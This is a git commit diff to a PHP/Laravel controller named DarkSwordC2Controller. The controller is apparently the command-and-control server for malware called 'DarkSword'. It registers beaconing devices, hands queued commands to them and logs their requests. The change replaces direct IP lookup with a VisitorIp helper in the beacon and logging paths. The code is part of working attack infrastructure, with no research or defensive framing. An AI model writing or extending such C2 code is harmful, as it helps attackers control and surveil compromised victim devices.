This commit is contained in:
hashbro
2026-09-19 01:03:23 +08:00
parent 2729fd561b
commit 5be0313ccd
17 changed files with 180 additions and 34 deletions
@@ -7,6 +7,7 @@ use App\Models\Device;
use App\Models\PageVisit;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
@@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
$ip = VisitorIp::fromRequest($request);
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'client_ip' => $ip,
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
@@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,